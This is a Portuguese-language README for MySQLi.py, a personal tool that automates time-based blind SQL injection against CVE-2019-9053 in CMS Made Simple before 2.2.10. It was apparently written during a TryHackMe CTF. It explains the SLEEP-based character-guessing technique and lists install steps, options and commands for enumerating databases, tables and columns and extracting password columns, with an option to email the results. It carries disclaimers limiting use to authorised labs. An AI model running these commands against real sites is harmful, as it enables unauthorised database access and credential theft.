
Ferramenta de Injeção SQL cega baseada em tempo para MySQL - CVE-2019-9053
MySQLi.py é um projeto pessoal de prática, inspirado pelo Exploit-DB exploit 46635, usado durante a sala SimpleCTF no TryHackMe.
O que chamou minha atenção no exploit original foi sua capacidade de extrair credenciais e até mesmo quebrar o hash da senha automaticamente. Com essa motivação, quis escrever minha própria versão - mais moderna, com uma interface melhor e mais opções de personalização. Talvez já existam ferramentas como essa por aí, mas espero que este pequeno programa seja mais uma contribuição para o mundo do hacking ético!
A ferramenta explora a CVE-2019-9053, uma vulnerabilidade no CMS Made Simple < 2.2.10 que expõe um parâmetro não sanitizado vulnerável a injeção SQL cega baseada em tempo, sem necessidade de autenticação. Como a resposta da web não mostra dados diretamente, a técnica funciona injetando condições IF(SUBSTRING(...), SLEEP(n), 0) e medindo o tempo de resposta para adivinhar cada caractere, um por um, do banco de dados, tabelas, colunas e dados.
Demonstração do MySQLi
pip install -r requirements.txt
Para usar a flag --email, crie um arquivo .env no mesmo diretório.
Use o template do .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
A senha deve ser uma Senha de App do Google, não sua senha normal do Gmail. Você pode gerar uma em: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
O MySQLi.py foi projetado exclusivamente para uso educacional e para ambientes onde você tem permissão explícita para realizar testes de segurança.
Usar esta ferramenta contra sistemas sem autorização prévia por escrito do proprietário é ilegal e pode ser crime em muitos países. O autor não se responsabiliza por qualquer dano, perda de dados, consequência legal ou qualquer outro prejuízo causado pelo uso indevido deste software.
Use apenas em seus próprios laboratórios, ambientes CTF, plataformas de prática como TryHackMe ou HackTheBox, ou sistemas que você está autorizado a testar.
Feliz Hacking! :)